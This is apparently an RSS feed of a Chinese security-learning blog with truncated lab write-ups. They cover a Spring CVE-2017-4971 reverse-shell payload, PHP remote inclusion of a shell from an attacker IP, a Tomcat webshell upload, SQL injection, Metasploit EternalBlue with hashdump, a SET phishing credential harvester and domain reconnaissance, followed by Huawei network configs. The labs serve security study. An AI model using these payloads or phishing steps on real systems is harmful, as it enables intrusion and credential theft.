<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[shangMD01的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/shangMD01</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; shangMD01]]></copyright><item><title><![CDATA[spring CVE-2017-4971漏洞复现]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/123559082</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/123559082</guid><author>shangMD01</author><pubDate>Thu, 17 Mar 2022 20:18:17 +0800</pubDate><description><![CDATA[搭建漏洞环境：

cd vulhub/spring/CVE-2017-4971

docker-compose up -d



查看容器是否开启：



在浏览器打开网站：



填写合法信息：





此处存在命令执行，可反弹shell

使用如下反弹shell的Payload：


_eventId_confirm=&amp;_csrf=57033da7-4538-42ec-9933-e12ac3e97db5&amp;_(new+java.lang.ProcessBuilder("bash","-.]]></description><category></category></item><item><title><![CDATA[PHP文件包含]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/123181321</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/123181321</guid><author>shangMD01</author><pubDate>Mon, 28 Feb 2022 15:14:26 +0800</pubDate><description><![CDATA[本地文件包含

打开PHPstudy：



打开网站根目录，创建文件，文件内容为：



在浏览器上查看所包含文件：



远程文件包含

文件include.php文件内容：



print.txt文件内容：



远程查看print.txt:



远程包含shell

shell.txt文件内容：



访问：

http://目标机ip/00/include.php?page=http://攻击机ip/00/shell.txt




...]]></description><category></category></item><item><title><![CDATA[Tomcat任意文件上传]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/123116097</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/123116097</guid><author>shangMD01</author><pubDate>Thu, 24 Feb 2022 17:31:20 +0800</pubDate><description><![CDATA[打开Tomcat：



打开burpsuite对Tomcat页面进行拦截：



在文件夹中找到冰蝎：

在冰蝎目录中找到shell.jsp查看



把shell.jsp文件内容复制到刚刚拦截的内容下：



发送到Response测试：



回显：



打开冰蝎：





双击新增网站：



文件上传成功：






...]]></description><category></category></item><item><title><![CDATA[upload-labs1-5]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/123113443</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/123113443</guid><author>shangMD01</author><pubDate>Thu, 24 Feb 2022 16:48:25 +0800</pubDate><description><![CDATA[用浏览器打开upload：



第一关

-js检查

上传文件会获得提示



把文件后缀改为.jpg/.png/.gif，我这里用的是jpg:

打开burpsuite在upload上传修改后的文件进行爪包：



在burpsuite中修改文件进行回显：







第二关

仅判断Content-type类型

上传文件失败，对文件进行爪包：



在burpsuite修改Content-type类型为image/jpeg、image/png、image/gif的任意一种进行回显：
...]]></description><category></category></item><item><title><![CDATA[SQLmap基础使用]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/123009755</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/123009755</guid><author>shangMD01</author><pubDate>Fri, 18 Feb 2022 19:52:13 +0800</pubDate><description><![CDATA[实验环境

操作系统：Windows10

安装的应用软件：Sqlmap、FireFox浏览器插件HackBar；Apache、MySQL、PHP；DVWA、SQLi-Labs漏洞网站环境



实验步骤

1.访问SQLi-Labs网站Less-3

http://靶机ip/sql/Less-3



登录后，根据网页提示，先给定一个GET参数：

/http://靶机ip/sql/Less-3/?id=1



2.启动SQLmap

找到SQLmap所在目录输入cmd进入命令行，输入命令启动SQLma]]></description><category></category></item><item><title><![CDATA[HTTP头部注入]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/123002323</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/123002323</guid><author>shangMD01</author><pubDate>Fri, 18 Feb 2022 15:50:46 +0800</pubDate><description><![CDATA[实验环境



攻击机：Windows10

安装应用软件：Sqlmap、Burpsuite、FireFox浏览器插件HackBar等

靶机：SQLi-Labs

安装应用软件：apache、MySQL、PHP；DVWA、SQLi-Labs漏洞网站环境



实验步骤

1.访问SQLi-Labs网站

访问靶机SQLi-Labs上的Less-11：

http://靶机ip/sql/Less-18



2.利用Burpsuite工具爪包

（1）启动Burpsuite



（2）设置Burpsui.]]></description><category></category></item><item><title><![CDATA[SQLi-Labs 基于报错的SQL注入]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122989969</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122989969</guid><author>shangMD01</author><pubDate>Thu, 17 Feb 2022 20:12:57 +0800</pubDate><description><![CDATA[实验环境

操作系统：Windows10

安装应用软件：Sqlmap、Burpsuite、FireFox浏览器插件Hackbar等

靶机：A-SQLi-Labs

安装的应用软件：Apache、MYSQL、PHP；DVWA、SQLi-Labs



实验步骤：

1.访问目标网站

在Windows10上打开火狐浏览器，并访问靶机上的SQLi-labs网站Less-1

http://靶机ip/sql/Less-1



登录后，先给一个GET参数：

http://靶机ip/sql/Less-1/?i]]></description><category></category></item><item><title><![CDATA[C段扫描]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122529234</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122529234</guid><author>shangMD01</author><pubDate>Sun, 16 Jan 2022 21:32:26 +0800</pubDate><description><![CDATA[1.安装masscan工具所需依赖环境：

apt-get install git gcc make libpcap-dev



2.安装masscan工具，并进行编译：

git clone https://github.com/robertdavidgraham/masscan

cd masscan

make



3.C段探测，输入命令：

masscan -p 80 ip/24 --rate 10000 -oL output.txt



4.查看masscan扫描结果：

head out.]]></description><category></category></item><item><title><![CDATA[aquatone工具使用]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122528469</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122528469</guid><author>shangMD01</author><pubDate>Sun, 16 Jan 2022 20:49:15 +0800</pubDate><description><![CDATA[1.打开终端，进入工具查看aquatone参数：



2.使用aquatone-discover命令,对已授权目标域名进行信息探测：

aquatone-discover -d sangfor.com.cn -t 1 -s 2



搜索结果：


]]></description><category></category></item><item><title><![CDATA[theHarvester工具子域名收集]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122528093</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122528093</guid><author>shangMD01</author><pubDate>Sun, 16 Jan 2022 20:33:38 +0800</pubDate><description><![CDATA[一、使用theHarvester工具

1.打开终端，进入工具：

theHarvester



2.查看参数的说明文档：

theHarvester --help





3.使用搜索引擎进行搜索：

theHarvester -d sangfor.com.cn -b bing



4.使用DNS爆破参数：

theHarvester -d sangfor.com.cn -c



搜索结果：




...]]></description><category></category></item><item><title><![CDATA[DNS信息查询]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122525547</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122525547</guid><author>shangMD01</author><pubDate>Sun, 16 Jan 2022 20:16:00 +0800</pubDate><description><![CDATA[一、利用whois命令进行域名查询

1.查询目标域名：

whois sangforedu.com.cn



2.用发现的新域名继续查询：

whois sangfor.com.cn



3.通过查询出的邮箱，利用站长之家网站进行反查：



可获得其他域名，用其他域名查询：



二、利用nslookup进行查询（Windows系统）

1.打开终端，进入nslookup:

nslookup



2.查询A类记录：

set querytype=a

set all

sangforedu...]]></description><category></category></item><item><title><![CDATA[密码攻击工具]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122481350</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122481350</guid><author>shangMD01</author><pubDate>Thu, 13 Jan 2022 20:25:38 +0800</pubDate><description><![CDATA[打开终端启动Metasploit终端

msfconsole



利用ms17-010进行溢出攻击

use exploit/windows/smb/ms17_010_eternalblue

set LHOST 192.168.52.129
set RHOST 192.168.52.135
set RPORT 445
set target 0

run



溢出攻击成功后显示meterpreter提示符：



获取靶机windows7账户密码的Hash值：

hashdump



2. 利用H..]]></description><category></category></item><item><title><![CDATA[set配置]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122479887</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122479887</guid><author>shangMD01</author><pubDate>Thu, 13 Jan 2022 19:40:52 +0800</pubDate><description><![CDATA[在kali操作系统上启动终端，使用以下命令进入SET：

setoolkit



2.利用SET构建钓鱼网站

（1）在SET主菜单选择第一项

1 Social-Engineering Attacks



（2）继续选择第二项

2 Website Attack Vectors



（3）继续选择第三项

3 Credential Harvester Attack Method



（4）继续选择菜单1

1 Web Templates

输入操作机ip，作为钓鱼网站的地址：

选择菜...]]></description><category></category></item><item><title><![CDATA[Metasploit工具配置使用]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122478788</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122478788</guid><author>shangMD01</author><pubDate>Thu, 13 Jan 2022 18:14:56 +0800</pubDate><description><![CDATA[1.在操作系统kali上打开终端，使用以下命令启动Metasploit终端：

msfconsole



2.检查靶机是否存在ms17-010漏洞

（1）搜索ms17-010相关模块：

search ms17-010



（2）分别输入以下命令，使用amb_ms17_010模块进行漏洞检测，确认其存在ms17-010漏洞：

use auxiliary/scanner/smb/smb_ms17_010 //使用模块

show options //查看模块需要设置哪些参数

set RHOSTS .]]></description><category></category></item><item><title><![CDATA[GRE虚拟隧道配置]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122241992</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122241992</guid><author>shangMD01</author><pubDate>Thu, 30 Dec 2021 19:29:42 +0800</pubDate><description><![CDATA[GRE拓扑：



配置ip：

client1
172.16.1.1
172.16.1.254

server1
192.168.1.1
192.168.1.254





配置路由：

R1
sys
sys peer1
int g0/0/0
ip address 172.16.1.254 24
int g0/0/1
ip address 100.100.100.1 30
quit
ip route-static 0.0.0.0 0 100.100.100.2

R3
sys
int g0/0/1
i.]]></description><category></category></item><item><title><![CDATA[【ACL】]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122114449</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122114449</guid><author>shangMD01</author><pubDate>Thu, 23 Dec 2021 20:22:53 +0800</pubDate><description><![CDATA[ACL拓扑图：



PC配置：

Client1
192.168.1.1
192.168.1.254

Client2
192.168.2.1
192.168.2.254

Server1
192.168.3.1
192.168.3.254

Server2
192.168.4.1
192.168.4.254

基础配置

LSW1
sys
sysname SW1
vlan batch 10 20 30
int e0/0/1
port link-type access
port default vlan.]]></description><category></category></item><item><title><![CDATA[单臂路由]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122112741</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122112741</guid><author>shangMD01</author><pubDate>Thu, 23 Dec 2021 18:52:01 +0800</pubDate><description><![CDATA[单臂路由拓扑图：



PC配置：

PC1
192.168.1.1
255.255.255.0
192.168.1.254



PC3
192.168.2.1
255.255.255.0
192.168.2.254



配置单臂路由：

LSW1
sys
sysname SW1
vlan batch 10 20
int e0/0/1
port link-ytpe access
port default vlan 10
int e0/0/2
port link-ytpe access
port def.]]></description><category></category></item><item><title><![CDATA[如何实现vlan]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122093599</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122093599</guid><author>shangMD01</author><pubDate>Wed, 22 Dec 2021 20:08:32 +0800</pubDate><description><![CDATA[拓扑图：



配置PC

PC1
ip：192.168.1.1
子网掩码：255.255.255.0



PC2
192.168.1.2
255.255.255.0



PC3
192.168.1.3
255.255.255.0



PC4
192.168.1.4
255.255.255.0



配置

LSW

LSW1
sys
sysname SW1
vlan batch 10 20
int e0/0/1
port link-type access
port default vlan 10
.]]></description><category></category></item><item><title><![CDATA[动态路由配置【华为】]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122091443</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122091443</guid><author>shangMD01</author><pubDate>Wed, 22 Dec 2021 19:40:09 +0800</pubDate><description><![CDATA[构建拓扑图：



PC配置：

PC1
192.168.1.1
255.255.255.252
192.168.1.2



PC2
192.168.7.2
255.255.255.252
192.168.7.1



PC3
192.168.5.2
255.255.255.252
192.168.5.1



配置路由：

R1
sys
sysname R1
int g0/0/0
ip address 192.168.1.2 30
int g0/0/2
ip address 192.168.2.1...]]></description><category></category></item><item><title><![CDATA[华为配置静态路由]]></title><link>https://blog.youkuaiyun.com/shangMD01/article/details/122071440</link><guid>https://blog.youkuaiyun.com/shangMD01/article/details/122071440</guid><author>shangMD01</author><pubDate>Tue, 21 Dec 2021 20:19:12 +0800</pubDate><description><![CDATA[实验拓扑图：



配置网段：



配置PC



配置R1网口：

sys //进入配置试图
sysname R1 //改名
interface g0/0/0 //进入g0/0/0网口
ip address 192.168.1.2 30 //配置接口IP(undo ip address //删除接口IP)
display this //查看当前配置信息
interface g0/0/1
ip address 192.168.2.1 30
int g0/0/2 //进入0/0/2配置接口...]]></description><category></category></item></channel></rss>